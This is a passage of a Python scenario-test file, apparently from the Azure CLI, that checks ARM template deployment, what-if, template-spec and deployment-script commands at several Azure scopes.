'Succeeded'), ]) self.cmd('deployment group create --resource-group {rg} -n {dn} --template-file "{tf_multiline}" --parameters @"{params}"', checks=[ self.check('properties.provisioningState', 'Succeeded'), ]) with self.assertRaises(CLIError) as err: self.cmd('deployment group create --resource-group {rg} -n {dn2} --template-file "{extra_param_tf}" --parameters @"{params}" --no-prompt true') self.assertTrue("Deployment template validation failed" in str(err.exception)) with self.assertRaises(CLIError) as err: self.cmd('deployment group create --resource-group {rg} -n {dn2} --template-file "{extra_param_tf}" --parameters @"{params}"') self.assertTrue("Missing input parameters" in str(err.exception)) with self.assertRaises(CLIError) as err: self.cmd('deployment group create --resource-group {rg} -n {dn2} --template-file "{extra_param_tf}" --parameters @"{params}" --no-prompt false') self.assertTrue("Missing input parameters" in str(err.exception)) json_invalid_info = "Failed to parse '{}', please check whether it is a valid JSON format" with self.assertRaises(CLIError) as err: self.cmd('deployment group validate -g {rg} -f "{tf_invalid}" -p @"{params}"') self.assertTrue(json_invalid_info.format('{tf_invalid}') == err.exception) with self.assertRaises(CLIError) as err: self.cmd('deployment group validate -g {rg} -f "{tf}" -p @"{params_invalid}"') self.assertTrue(json_invalid_info.format('{params_invalid}') in err.exception) with self.assertRaises(CLIError) as err: self.cmd('deployment group create -g {rg} -n {dn} -f "{tf_invalid}" -p @"{params}"') self.assertTrue(json_invalid_info.format('{tf_invalid}') == err.exception) with self.assertRaises(CLIError) as err: self.cmd('deployment group create -g {rg} -n {dn} -f "{tf}" -p @"{params_invalid}"') self.assertTrue(json_invalid_info.format('{params_invalid}') in err.exception) self.cmd('deployment group list --resource-group {rg}', checks=[ self.check('[0].name', '{dn}'), ]) self.cmd('deployment group list --resource-group {rg} --filter "provisioningState eq \'Succeeded\'"', checks=[ self.check('[0].name', '{dn}'), ]) self.cmd('deployment group show --resource-group {rg} -n {dn}', checks=[ self.check('name', '{dn}') ]) self.cmd('deployment group export --resource-group {rg} -n {dn}', checks=[ ]) self.cmd('deployment operation group list --resource-group {rg} -n {dn}', checks=[ self.check('length([])', 2) ]) self.cmd('deployment group create --resource-group {rg} -n {dn2} --template-file "{tf}" --parameters @"{params}" --no-wait') self.cmd('deployment group cancel -n {dn2} -g {rg}') self.cmd('deployment group wait -n {dn2} -g {rg} --custom "provisioningState==Canceled"') self.cmd('deployment group show -n {dn2} -g {rg}', checks=[ self.check('properties.provisioningState', 'Canceled') ]) class DeploymentTestAtManagementGroup(ScenarioTest): def test_management_group_deployment(self): curr_dir = os.path.dirname(os.path.realpath(__file__)) self.kwargs.update({ 'tf': os.path.join(curr_dir, 'management_group_level_template.json').replace('\\', '\\\\'), 'params': os.path.join(curr_dir, 'management_group_level_parameters.json').replace('\\', '\\\\'), 'dn': self.create_random_name('azure-cli-management-group-deployment', 60), 'mg': self.create_random_name('azure-cli-management', 30), 'sub-rg': self.create_random_name('azure-cli-sub-resource-group', 60), 'dn2': self.create_random_name('azure-cli-resource-group-deployment', 60), 'storage-account-name': self.create_random_name('armbuilddemo', 20) }) self.cmd('account management-group create --name {mg}', checks=[]) self.cmd('deployment mg validate --management-group-id {mg} --location WestUS --template-file "{tf}" ' '--parameters @"{params}" --parameters targetMG="{mg}" --parameters nestedRG="{sub-rg}" ' '--parameters storageAccountName="{storage-account-name}"', checks=[self.check('properties.provisioningState', 'Succeeded'), ]) self.cmd('deployment mg create --management-group-id {mg} --location WestUS -n {dn} --template-file "{tf}" ' '--parameters @"{params}" --parameters targetMG="{mg}" --parameters nestedRG="{sub-rg}" ' '--parameters storageAccountName="{storage-account-name}"', checks=[self.check('properties.provisioningState', 'Succeeded'), ]) self.cmd('deployment mg list --management-group-id {mg}', checks=[ self.check('[0].name', '{dn}'), ]) self.cmd('deployment mg list --management-group-id {mg} --filter "provisioningState eq \'Succeeded\'"', checks=[ self.check('[0].name', '{dn}'), ]) self.cmd('deployment mg show --management-group-id {mg} -n {dn}', checks=[ self.check('name', '{dn}') ]) self.cmd('deployment mg export --management-group-id {mg} -n {dn}', checks=[ ]) self.cmd('deployment operation mg list --management-group-id {mg} -n {dn}', checks=[ self.check('length([])', 4) ]) self.cmd('deployment mg create --management-group-id {mg} --location WestUS -n {dn2} --template-file "{tf}" ' '--parameters @"{params}" --parameters targetMG="{mg}" --parameters nestedRG="{sub-rg}" ' '--parameters storageAccountName="{storage-account-name}" --no-wait') self.cmd('deployment mg cancel -n {dn2} --management-group-id {mg}') self.cmd('deployment mg wait -n {dn2} --management-group-id {mg} --custom "provisioningState==Canceled"') self.cmd('deployment mg show -n {dn2} --management-group-id {mg}', checks=[ self.check('properties.provisioningState', 'Canceled') ]) # clean self.cmd('account management-group delete -n {mg}') class DeploymentTestAtTenantScope(ScenarioTest): def test_tenant_level_deployment(self): curr_dir = os.path.dirname(os.path.realpath(__file__)) self.kwargs.update({ 'tf': os.path.join(curr_dir, 'tenant_level_template.json').replace('\\', '\\\\'), 'dn': self.create_random_name('azure-cli-tenant-level-deployment', 60), 'mg': self.create_random_name('azure-cli-management-group', 40), 'dn2': self.create_random_name('azure-cli-resource-group-deployment', 60) }) self.cmd('account management-group create --name {mg}', checks=[]) self.cmd('deployment tenant validate --location WestUS --template-file "{tf}" --parameters targetMG="{mg}"', checks=[ self.check('properties.provisioningState', 'Succeeded') ]) self.cmd('deployment tenant create --location WestUS -n {dn} --template-file "{tf}" --parameters targetMG="{mg}"', checks=[ self.check('properties.provisioningState', 'Succeeded'), ]) self.cmd('deployment tenant list', checks=[ self.check('[0].name', '{dn}'), ]) self.cmd('deployment tenant list --filter "provisioningState eq \'Succeeded\'"', checks=[ self.check('[0].name', '{dn}'), ]) self.cmd('deployment tenant show -n {dn}', checks=[ self.check('name', '{dn}') ]) self.cmd('deployment tenant export -n {dn}', checks=[ ]) self.cmd('deployment operation tenant list -n {dn}', checks=[ self.check('length([])', 4) ]) self.cmd('deployment tenant create --location WestUS -n {dn2} --template-file "{tf}" --parameters targetMG="{mg}" --no-wait') self.cmd('deployment tenant cancel -n {dn2}') self.cmd('deployment tenant show -n {dn2}', checks=[ self.check('properties.provisioningState', 'Canceled') ]) self.cmd('group delete -n cli_tenant_level_deployment --yes') self.cmd('account management-group delete -n {mg}') class DeploymentTest(ScenarioTest): @ResourceGroupPreparer(name_prefix='cli_test_deployment_lite') def test_group_deployment_lite(self, resource_group): # ensures that a template that is missing "parameters" or "resources" still deploys curr_dir = os.path.dirname(os.path.realpath(__file__)) self.kwargs.update({ 'tf': os.path.join(curr_dir, 'test-template-lite.json').replace('\\', '\\\\'), 'dn': self.create_random_name('azure-cli-deployment', 30) }) self.cmd('group deployment create -g {rg} -n {dn} --template-file "{tf}"', checks=[ self.check('properties.provisioningState', 'Succeeded'), self.check('resourceGroup', '{rg}') ]) @ResourceGroupPreparer(name_prefix='cli_test_deployment') def test_group_deployment(self, resource_group): curr_dir = os.path.dirname(os.path.realpath(__file__)) self.kwargs.update({ 'tf': os.path.join(curr_dir, 'test-template.json').replace('\\', '\\\\'), 'tf_invalid': os.path.join(curr_dir, 'simple_deploy_invalid.json').replace('\\', '\\\\'), 'params': os.path.join(curr_dir, 'test-params.json').replace('\\', '\\\\'), 'error_params': os.path.join(curr_dir, 'test-error-params.json').replace('\\', '\\\\'), 'params_invalid': os.path.join(curr_dir, 'simple_deploy_parameters_invalid.json').replace('\\', '\\\\'), # params-uri below is the raw file url of the test_params.json above 'params_uri': 'https://raw.githubusercontent.com/Azure/azure-cli/dev/src/azure-cli/azure/cli/command_modules/resource/tests/latest/test-params.json', 'of': os.path.join(curr_dir, 'test-object.json').replace('\\', '\\\\'), 'dn': 'azure-cli-deployment', 'dn2': self.create_random_name('azure-cli-resource-group-deployment2', 60) }) self.kwargs['subnet_id'] = self.cmd('network vnet create -g {rg} -n vnet1 --subnet-name subnet1').get_output_in_json()['newVNet']['subnets'][0]['id'] self.cmd('group deployment validate -g {rg} --template-file "{tf}" --parameters @"{params}" --parameters subnetId="{subnet_id}" --parameters backendAddressPools=@"{of}"', checks=[ self.check('properties.provisioningState', 'Succeeded') ]) self.cmd('group deployment validate -g {rg} --template-file "{tf}" --parameters "{params_uri}" --parameters subnetId="{subnet_id}" --parameters backendAddressPools=@"{of}"', checks=[ self.check('properties.provisioningState', 'Succeeded') ]) with self.assertRaises(CLIError): self.cmd('group deployment validate -g {rg} --template-file "{tf}" --parameters @"{error_params}" --parameters subnetId="{subnet_id}" --parameters backendAddressPools=@"{of}"') self.cmd('group deployment create -g {rg} -n {dn} --template-file "{tf}" --parameters @"{params}" --parameters subnetId="{subnet_id}" --parameters backendAddressPools=@"{of}"', checks=[ self.check('properties.provisioningState', 'Succeeded'), self.check('resourceGroup', '{rg}') ]) self.cmd('network lb show -g {rg} -n test-lb', checks=self.check('tags', {'key': 'super=value'})) self.cmd('group deployment list -g {rg}', checks=[ self.check('[0].name', '{dn}'), self.check('[0].resourceGroup', '{rg}') ]) self.cmd('group deployment list -g {rg} --filter "provisioningState eq \'Succeeded\'"', checks=[ self.check('[0].name', '{dn}'), self.check('[0].resourceGroup', '{rg}') ]) self.cmd('group deployment show -g {rg} -n {dn}', checks=[ self.check('name', '{dn}'), self.check('resourceGroup', '{rg}') ]) self.cmd('group deployment operation list -g {rg} -n {dn}', checks=[ self.check('length([])', 2), self.check('[0].resourceGroup', '{rg}') ]) json_invalid_info = "Failed to parse '{}', please check whether it is a valid JSON format" with self.assertRaises(CLIError) as err: self.cmd('group deployment validate -g {rg} -f "{tf_invalid}" -p @"{params}"') self.assertTrue(json_invalid_info.format('{tf_invalid}') == err.exception) with self.assertRaises(CLIError) as err: self.cmd('group deployment validate -g {rg} -f "{tf}" -p @"{params_invalid}"') self.assertTrue(json_invalid_info.format('{params_invalid}') in err.exception) with self.assertRaises(CLIError) as err: self.cmd('group deployment create -g {rg} -n {dn} -f "{tf_invalid}" -p @"{params}"') self.assertTrue(json_invalid_info.format('{tf_invalid}') == err.exception) with self.assertRaises(CLIError) as err: self.cmd('group deployment create -g {rg} -n {dn} -f "{tf}" -p @"{params_invalid}"') self.assertTrue(json_invalid_info.format('{params_invalid}') in err.exception) self.cmd('group deployment create -g {rg} -n {dn2} --template-file "{tf}" --parameters @"{params}" --parameters subnetId="{subnet_id}" --parameters backendAddressPools=@"{of}" --no-wait') self.cmd('group deployment cancel -n {dn2} -g {rg}') self.cmd('group deployment show -n {dn2} -g {rg}', checks=[ self.check('properties.provisioningState', 'Canceled') ]) @ResourceGroupPreparer(name_prefix='cli_test_deployment_with_large_params') @AllowLargeResponse() def test_group_deployment_with_large_params(self, resource_group): curr_dir = os.path.dirname(os.path.realpath(__file__)) self.kwargs.update({ 'large_tf': os.path.join(curr_dir, 'test-largesize-template.json').replace('\\', '\\\\'), 'large_params': os.path.join(curr_dir, 'test-largesize-parameters.json').replace('\\', '\\\\'), 'app_name': self.create_random_name('cli', 30) }) self.cmd('group deployment validate -g {rg} --template-file "{large_tf}" --parameters @"{large_params}"', checks=[ self.check('properties.provisioningState', 'Succeeded') ]) self.cmd('group deployment validate -g {rg} --template-file "{large_tf}" --parameters "{large_params}"', checks=[ self.check('properties.provisioningState', 'Succeeded') ]) self.cmd('group deployment create -g {rg} --template-file "{large_tf}" --parameters @"{large_params}" --parameters function-app-name="{app_name}"', checks=[ self.check('properties.provisioningState', 'Succeeded'), self.check('resourceGroup', '{rg}') ]) self.cmd('group deployment create -g {rg} --template-file "{large_tf}" --parameters "{large_params}" --parameters function-app-name="{app_name}"', checks=[ self.check('properties.provisioningState', 'Succeeded'), self.check('resourceGroup', '{rg}') ]) @ResourceGroupPreparer(name_prefix='cli_test_on_error_deployment_lastsuccessful') def test_group_on_error_deployment_lastsuccessful(self, resource_group): curr_dir = os.path.dirname(os.path.realpath(__file__)) self.kwargs.update({ 'tf': os.path.join(curr_dir, 'test-template-lite.json').replace('\\', '\\\\'), 'dn': self.create_random_name('azure-cli-deployment', 30), 'onErrorType': 'LastSuccessful', 'sdn': self.create_random_name('azure-cli-deployment', 30) }) self.cmd('group deployment create -g {rg} -n {dn} --template-file "{tf}"', checks=[ self.check('properties.provisioningState', 'Succeeded'), self.check('resourceGroup', '{rg}'), self.check('properties.onErrorDeployment', None) ]) self.cmd('group deployment create -g {rg} -n {sdn} --template-file "{tf}" --rollback-on-error', checks=[ self.check('properties.provisioningState', 'Succeeded'), self.check('resourceGroup', '{rg}'), self.check('properties.onErrorDeployment.deploymentName', '{dn}'), self.check('properties.onErrorDeployment.type', '{onErrorType}') ]) @ResourceGroupPreparer(name_prefix='cli_test_on_error_deployment_specificdeployment') def test_group_on_error_deployment_specificdeployment(self, resource_group): curr_dir = os.path.dirname(os.path.realpath(__file__)) self.kwargs.update({ 'tf': os.path.join(curr_dir, 'test-template-lite.json').replace('\\', '\\\\'), 'dn': self.create_random_name('azure-cli-deployment', 30), 'onErrorType': 'SpecificDeployment', 'sdn': self.create_random_name('azure-cli-deployment', 30) }) self.cmd('group deployment create -g {rg} -n {dn} --template-file "{tf}"', checks=[ self.check('properties.provisioningState', 'Succeeded'), self.check('resourceGroup', '{rg}'), self.check('properties.onErrorDeployment', None) ]) self.cmd('group deployment create -g {rg} -n {sdn} --template-file "{tf}" --rollback-on-error {dn}', checks=[ self.check('properties.provisioningState', 'Succeeded'), self.check('resourceGroup', '{rg}'), self.check('properties.onErrorDeployment.deploymentName', '{dn}'), self.check('properties.onErrorDeployment.type', '{onErrorType}') ]) class DeploymentLiveTest(LiveScenarioTest): @ResourceGroupPreparer() def test_group_deployment_progress(self, resource_group): from azure.cli.testsdk.utilities import force_progress_logging curr_dir = os.path.dirname(os.path.realpath(__file__)) self.kwargs.update({ 'tf': os.path.join(curr_dir, 'test-template.json').replace('\\', '\\\\'), 'params': os.path.join(curr_dir, 'test-params.json').replace('\\', '\\\\'), 'of': os.path.join(curr_dir, 'test-object.json').replace('\\', '\\\\'), 'dn': 'azure-cli-deployment2' }) self.kwargs['subnet_id'] = self.cmd('network vnet create -g {rg} -n vnet1 --subnet-name subnet1').get_output_in_json()['newVNet']['subnets'][0]['id'] with force_progress_logging() as test_io: self.cmd('group deployment create --verbose -g {rg} -n {dn} --template-file "{tf}" --parameters @"{params}" --parameters subnetId="{subnet_id}" --parameters backendAddressPools=@"{of}"') # very the progress lines = test_io.getvalue().splitlines() for line in lines: self.assertTrue(line.split(':')[0] in ['Accepted', 'Succeeded']) self.assertTrue('Succeeded: {} (Microsoft.Resources/deployments)'.format(self.kwargs['dn']), lines) class DeploymentNoWaitTest(ScenarioTest): @ResourceGroupPreparer(name_prefix='cli_test_group_deployment_no_wait') def test_group_deployment_no_wait(self, resource_group): curr_dir = os.path.dirname(os.path.realpath(__file__)) self.kwargs.update({ 'tf': os.path.join(curr_dir, 'simple_deploy.json').replace('\\', '\\\\'), 'params': os.path.join(curr_dir, 'simple_deploy_parameters.json').replace('\\', '\\\\'), 'dn': 'azure-cli-deployment' }) self.cmd('group deployment create -g {rg} -n {dn} --template-file "{tf}" --parameters @"{params}" --no-wait', checks=self.is_empty()) self.cmd('group deployment wait -g {rg} -n {dn} --created', checks=self.is_empty()) self.cmd('group deployment show -g {rg} -n {dn}', checks=self.check('properties.provisioningState', 'Succeeded')) class DeploymentThruUriTest(ScenarioTest): @ResourceGroupPreparer(name_prefix='cli_test_deployment_uri') def test_group_deployment_thru_uri(self, resource_group): self.resource_group = resource_group curr_dir = os.path.dirname(os.path.realpath(__file__)) # same copy of the sample template file under current folder, but it is uri based now self.kwargs.update({ 'tf': 'https://raw.githubusercontent.com/Azure/azure-cli/dev/src/azure-cli/azure/cli/command_modules/resource/tests/latest/simple_deploy.json', 'params': os.path.join(curr_dir, 'simple_deploy_parameters.json').replace('\\', '\\\\') }) self.kwargs['dn'] = self.cmd('group deployment create -g {rg} --template-uri "{tf}" --parameters @"{params}"', checks=[ self.check('properties.provisioningState', 'Succeeded'), self.check('resourceGroup', '{rg}'), self.check('properties.templateLink.uri', '{tf}'), ]).get_output_in_json()['name'] self.cmd('group deployment show -g {rg} -n {dn}', checks=self.check('name', '{dn}')) self.cmd('group deployment delete -g {rg} -n {dn}') self.cmd('group deployment list -g {rg}', checks=self.is_empty()) self.kwargs['dn'] = self.cmd('deployment group create -g {rg} --template-uri "{tf}" --parameters @"{params}"', checks=[ self.check('properties.provisioningState', 'Succeeded'), self.check('resourceGroup', '{rg}'), self.check('properties.templateLink.uri', '{tf}'), ]).get_output_in_json()['name'] self.cmd('deployment group show -g {rg} -n {dn}', checks=self.check('name', '{dn}')) self.cmd('deployment group delete -g {rg} -n {dn}') self.cmd('deployment group list -g {rg}', checks=self.is_empty()) class DeploymentWhatIfAtResourceGroupScopeTest(ScenarioTest): @ResourceGroupPreparer(name_prefix='cli_test_deployment_what_if') def test_resource_group_level_what_if(self): curr_dir = os.path.dirname(os.path.realpath(__file__)) self.kwargs.update({ 'tf': os.path.join(curr_dir, 'storage_account_deploy.json').replace('\\', '\\\\'), 'params': os.path.join(curr_dir, 'storage_account_deploy_parameters.json').replace('\\', '\\\\'), }) deployment_output = self.cmd('deployment group create --resource-group {rg} --template-file "{tf}"').get_output_in_json() self.kwargs['storage_account_id'] = deployment_output['properties']['outputs']['storageAccountId']['value'] self.cmd('deployment group what-if --resource-group {rg} --template-file "{tf}" --parameters "{params}" --no-pretty-print', checks=[ self.check('status', 'Succeeded'), self.check("changes[?resourceId == '{storage_account_id}'].changeType | [0]", 'Modify'), self.check("changes[?resourceId == '{storage_account_id}'] | [0].delta[?path == 'sku.name'] | [0].propertyChangeType", 'Modify'), self.check("changes[?resourceId == '{storage_account_id}'] | [0].delta[?path == 'sku.name'] | [0].before", 'Standard_LRS'), self.check("changes[?resourceId == '{storage_account_id}'] | [0].delta[?path == 'sku.name'] | [0].after", 'Standard_GRS') ]) class DeploymentWhatIfAtSubscriptionScopeTest(ScenarioTest): def test_subscription_level_what_if(self): curr_dir = os.path.dirname(os.path.realpath(__file__)) self.kwargs.update({ 'tf': os.path.join(curr_dir, 'policy_definition_deploy.json').replace('\\', '\\\\'), 'params': os.path.join(curr_dir, 'policy_definition_deploy_parameters.json').replace('\\', '\\\\'), }) deployment_output = self.cmd('deployment sub create --location westus --template-file "{tf}"').get_output_in_json() self.kwargs['policy_definition_id'] = deployment_output['properties']['outputs']['policyDefinitionId']['value'] self.cmd('deployment sub what-if --location westus --template-file "{tf}" --parameters "{params}" --no-pretty-print', checks=[ self.check('status', 'Succeeded'), self.check("changes[?resourceId == '{policy_definition_id}'].changeType | [0]", 'Modify'), self.check("changes[?resourceId == '{policy_definition_id}'] | [0].delta[?path == 'properties.policyRule.if.equals'] | [0].propertyChangeType", 'Modify'), self.check("changes[?resourceId == '{policy_definition_id}'] | [0].delta[?path == 'properties.policyRule.if.equals'] | [0].before", 'northeurope'), self.check("changes[?resourceId == '{policy_definition_id}'] | [0].delta[?path == 'properties.policyRule.if.equals'] | [0].after", 'westeurope'), ]) class DeploymentWhatIfAtManagementGroupTest(ScenarioTest): def test_management_group_level_what_if(self): curr_dir = os.path.dirname(os.path.realpath(__file__)) self.kwargs.update({ 'tf': os.path.join(curr_dir, 'management_group_level_template.json').replace('\\', '\\\\'), 'params': os.path.join(curr_dir, 'management_group_level_parameters.json').replace('\\', '\\\\'), 'dn': self.create_random_name('azure-cli-management-group-deployment', 60), 'mg': self.create_random_name('azure-cli-management', 30), 'sub-rg': self.create_random_name('azure-cli-sub-resource-group', 60), 'storage-account-name': self.create_random_name('armbuilddemo', 20) }) self.cmd('account management-group create --name {mg}', checks=[]) self.cmd('deployment mg what-if --management-group-id {mg} --location WestUS --template-file "{tf}" --no-pretty-print ' '--parameters @"{params}" --parameters targetMG="{mg}" --parameters nestedRG="{sub-rg}" ' '--parameters storageAccountName="{storage-account-name}"', checks=[ self.check('status', 'Succeeded'), self.check("length(changes)", 4), self.check("changes[0].changeType", "Create"), self.check("changes[1].changeType", "Create"), self.check("changes[2].changeType", "Create"), self.check("changes[3].changeType", "Create"), ]) class DeploymentWhatIfAtTenantScopeTest(ScenarioTest): def test_tenant_level_what_if(self): curr_dir = os.path.dirname(os.path.realpath(__file__)) self.kwargs.update({ 'tf': os.path.join(curr_dir, 'tenant_level_template.json').replace('\\', '\\\\'), 'dn': self.create_random_name('azure-cli-tenant-level-deployment', 60), 'mg': self.create_random_name('azure-cli-management-group', 40), }) self.cmd('account management-group create --name {mg}', checks=[]) self.cmd('deployment tenant what-if --location WestUS --template-file "{tf}" --parameters targetMG="{mg}" --no-pretty-print', checks=[ self.check('status', 'Succeeded'), self.check("length(changes)", 3), self.check("changes[0].changeType", "Create"), self.check("changes[1].changeType", "Create"), self.check("changes[2].changeType", "Create"), ]) class DeploymentWhatIfTestWithTemplateSpecs(ScenarioTest): @ResourceGroupPreparer(name_prefix='cli_test_deployment_what_if_template_specs', location='westus') def test_resource_group_level_what_if_ts(self, resource_group, resource_group_location): curr_dir = os.path.dirname(os.path.realpath(__file__)) template_spec_name = self.create_random_name('cli-test-deploy-what-if-rg-deploy', 60) self.kwargs.update({ 'template_spec_name': template_spec_name, 'resource_group_location': resource_group_location, 'tf': os.path.join(curr_dir, 'storage_account_deploy.json').replace('\\', '\\\\'), 'params': os.path.join(curr_dir, 'storage_account_deploy_parameters.json').replace('\\', '\\\\'), }) result = self.cmd('ts create -g {rg} -n {template_spec_name} -v 1.0 -l {resource_group_location} -f "{tf}"').get_output_in_json() self.kwargs['template_spec_version_id'] = result['id'] deployment_output = self.cmd('deployment group create --resource-group {rg} --template-spec "{template_spec_version_id}"').get_output_in_json() self.kwargs['storage_account_id'] = deployment_output['properties']['outputs']['storageAccountId']['value'] self.cmd('deployment group what-if --resource-group {rg} --template-spec "{template_spec_version_id}" --parameters "{params}" --no-pretty-print', checks=[ self.check('status', 'Succeeded'), self.check("changes[?resourceId == '{storage_account_id}'].changeType | [0]", 'Modify'), self.check("changes[?resourceId == '{storage_account_id}'] | [0].delta[?path == 'sku.name'] | [0].propertyChangeType", 'Modify'), self.check("changes[?resourceId == '{storage_account_id}'] | [0].delta[?path == 'sku.name'] | [0].before", 'Standard_LRS'), self.check("changes[?resourceId == '{storage_account_id}'] | [0].delta[?path == 'sku.name'] | [0].after", 'Standard_GRS') ]) @ResourceGroupPreparer(name_prefix='cli_test_deployment_what_if_template_specs', location='westus') def test_subscription_level_what_if_ts(self, resource_group, resource_group_location): curr_dir = os.path.dirname(os.path.realpath(__file__)) template_spec_name = self.create_random_name('cli-test-deploy-what-if-sub-deploy', 60) self.kwargs.update({ 'template_spec_name': template_spec_name, 'resource_group_location': resource_group_location, 'tf': os.path.join(curr_dir, 'policy_definition_deploy.json').replace('\\', '\\\\'), 'params': os.path.join(curr_dir, 'policy_definition_deploy_parameters.json').replace('\\', '\\\\'), }) result = self.cmd('ts create -g {rg} -n {template_spec_name} -v 1.0 -l {resource_group_location} -f "{tf}"').get_output_in_json() self.kwargs['template_spec_version_id'] = result['id'] deployment_output = self.cmd('deployment sub create --location westus --template-spec {template_spec_version_id}').get_output_in_json() self.kwargs['policy_definition_id'] = deployment_output['properties']['outputs']['policyDefinitionId']['value'] self.cmd('deployment sub what-if --location westus --template-spec {template_spec_version_id} --parameters "{params}" --no-pretty-print', checks=[ self.check('status', 'Succeeded'), self.check("changes[?resourceId == '{policy_definition_id}'].changeType | [0]", 'Modify'), self.check("changes[?resourceId == '{policy_definition_id}'] | [0].delta[?path == 'properties.policyRule.if.equals'] | [0].propertyChangeType", 'Modify'), self.check("changes[?resourceId == '{policy_definition_id}'] | [0].delta[?path == 'properties.policyRule.if.equals'] | [0].before", 'northeurope'), self.check("changes[?resourceId == '{policy_definition_id}'] | [0].delta[?path == 'properties.policyRule.if.equals'] | [0].after", 'westeurope'), ]) class DeploymentScriptsTest(ScenarioTest): @ResourceGroupPreparer(name_prefix='cli_test_deployment_scripts', location='brazilsouth') def test_list_all_deployment_scripts(self, resource_group): curr_dir = os.path.dirname(os.path.realpath(__file__)) self.kwargs.update({ 'deployment_script_name': self.create_random_name('script', 20), 'deployment_name': self.create_random_name('ds', 20), 'resource_group': resource_group, 'template_file': os.path.join(curr_dir, 'deployment-scripts-deploy.json').replace('\\', '\\\\'), }) count = 0 self.cmd('deployment-scripts list', checks=self.check("length([?name=='{deployment_script_name}'])", count)) self.cmd('deployment group create -g {resource_group} -n {deployment_name} --template-file "{template_file}" --parameters scriptName={deployment_script_name}', checks=[ self.check('properties.provisioningState', 'Succeeded'), self.check('resourceGroup', '{resource_group}'), ]) count += 1 self.cmd('deployment-scripts list', checks=self.check("length([?name=='{deployment_script_name}'])", count)) @ResourceGroupPreparer(name_prefix='cli_test_deployment_scripts', location='brazilsouth') def test_show_deployment_script(self, resource_group): curr_dir = os.path.dirname(os.path.realpath(__file__)) self.kwargs.update({ 'deployment_script_name': self.create_random_name('script', 20), 'deployment_name': self.create_random_name('ds', 20), 'resource_group': resource_group, 'template_file': os.path.join(curr_dir, 'deployment-scripts-deploy.json').replace('\\', '\\\\'), }) self.cmd('deployment group create -g {resource_group} -n {deployment_name} --template-file "{template_file}" --parameters scriptName={deployment_script_name}', checks=[ self.check('properties.provisioningState', 'Succeeded'), self.check('resourceGroup', '{resource_group}'), ]) self.cmd("deployment-scripts show --resource-group {resource_group} --name {deployment_script_name}", checks=self.check('name', '{deployment_script_name}')) @ResourceGroupPreparer(name_prefix='cli_test_deployment_scripts', location='brazilsouth') def test_show_deployment_script_logs(self, resource_group): curr_dir = os.path.dirname(os.path.realpath(__file__)) self.kwargs.update({ 'deployment_script_name': self.create_random_name('script', 20), 'deployment_name': self.create_random_name('ds', 20), 'resource_group': resource_group, 'template_file': os.path.join(curr_dir, 'deployment-scripts-deploy.json').replace('\\', '\\\\'), }) self.cmd('deployment group create -g {resource_group} -n {deployment_name} --template-file "{template_file}" --parameters scriptName={deployment_script_name}', checks=[ self.check('properties.provisioningState', 'Succeeded'), self.check('resourceGroup', '{resource_group}'), ]) deployment_script_logs = self.cmd("deployment-scripts show-log --resource-group {resource_group} --name {deployment_script_name}").get_output_in_json() self.assertTrue(deployment_script_logs['value'] is not None) @ResourceGroupPreparer(name_prefix='cli_test_deployment_scripts', location='brazilsouth') def test_delete_deployment_script(self, resource_group): curr_dir = os.path.dirname(os.path.realpath(__file__)) self.kwargs.update({ 'deployment_script_name': self.create_random_name('script', 20), 'deployment_name': self.create_random_name('ds', 20), 'resource_group': resource_group, 'template_file': os.path.join(curr_dir, 'deployment-scripts-deploy.json').replace('\\', '\\\\'), }) self.cmd('deployment group create -g {resource_group} -n {deployment_name} --template-file "{template_file}" --parameters scriptName={deployment_script_name}', checks=[ self.check('properties.provisioningState', 'Succeeded'), self.check('resourceGroup', '{resource_group}'), ]) # making sure it exists first self.cmd("deployment-scripts show --resource-group {resource_group} --name {deployment_script_name}", checks=self.check('name', '{deployment_script_name}')) self.cmd("deployment-scripts delete --resource-group {resource_group} --name {deployment_script_name} --yes") self.cmd('deployment-scripts list', checks=self.check("length([?name=='{deployment_script_name}'])", 0)) class DeploymentTestAtSubscriptionScopeTemplateSpecs(ScenarioTest): @AllowLargeResponse(4096) @ResourceGroupPreparer(name_prefix='cli_test_template_specs_tenant_deploy', location='eastus') def test_subscription_level_deployment_ts(self, resource_group, resource_group_location): curr_dir = os.path.dirname(os.path.realpath(__file__)) template_spec_name = self.create_random_name('cli-test-sub-lvl-ts-deploy', 60) self.kwargs.update({ 'template_spec_name': template_spec_name, 'resource_group_location': resource_group_location, 'tf': os.path.join(curr_dir, 'subscription_level_template.json').replace('\\', '\\\\'), 'params': os.path.join(curr_dir, 'subscription_level_parameters.json').replace('\\', '\\\\'), # params-uri below is the raw file url of the subscription_level_parameters.json above 'params_uri': 'https://raw.githubusercontent.com/Azure/azure-cli/dev/src/azure-cli/azure/cli/command_modules/resource/tests/latest/subscription_level_parameters.json', 'dn': self.create_random_name('azure-cli-subscription_level_deployment', 60), 'dn2': self.create_random_name('azure-cli-subscription_level_deployment', 60), 'storage-account-name': self.create_random_name('armbuilddemo', 20) }) result = self.cmd('ts create -g {rg} -n {template_spec_name} -v 1.0 -l {resource_group_location} -f "{tf}"', checks=self.check('name', '1.0')).get_output_in_json() self.kwargs['template_spec_version_id'] = result['id'] self.cmd('deployment sub validate --location WestUS --template-spec {template_spec_version_id} --parameters "{params_uri}" --parameters storageAccountName="{storage-account-name}"', checks=[ self.check('properties.provisioningState', 'Succeeded') ]) self.cmd('deployment sub create -n {dn} --location WestUS --template-spec {template_spec_version_id} --parameters @"{params}" --parameters storageAccountName="{storage-account-name}"', checks=[ self.check('properties.provisioningState', 'Succeeded') ]) self.cmd('deployment sub show -n {dn}', checks=[ self.check('name', '{dn}') ]) self.cmd('deployment sub export -n {dn}', checks=[ ]) self.cmd('deployment operation sub list -n {dn}', checks=[ self.check('length([])', 5) ]) self.cmd('deployment sub create -n {dn2} --location WestUS --template-spec "{template_spec_version_id}" --parameters @"{params}" --no-wait') self.cmd('deployment sub cancel -n {dn2}') self.cmd('deployment sub show -n {dn2}', checks=[ self.check('properties.provisioningState', 'Canceled') ]) # clean up self.kwargs['template_spec_id'] = result['id'].replace('/versions/1.0', ' ') self.cmd('ts delete --template-spec {template_spec_id} --yes') class DeploymentTestAtResourceGroupTemplateSpecs(ScenarioTest): @ResourceGroupPreparer(name_prefix='cli_test_template_specs_resource_group_deployment', location='westus') def test_resource_group_deployment_ts(self, resource_group, resource_group_location): curr_dir = os.path.dirname(os.path.realpath(__file__)) template_spec_name = self.create_random_name('cli-test-resource-group-ts-deploy', 60) self.kwargs.update({ 'template_spec_name': template_spec_name, 'resource_group_location': resource_group_location, 'tf': os.path.join(curr_dir, 'simple_deploy.json').replace('\\', '\\\\'), 'params': os.path.join(curr_dir, 'simple_deploy_parameters.json').replace('\\', '\\\\'), 'dn': 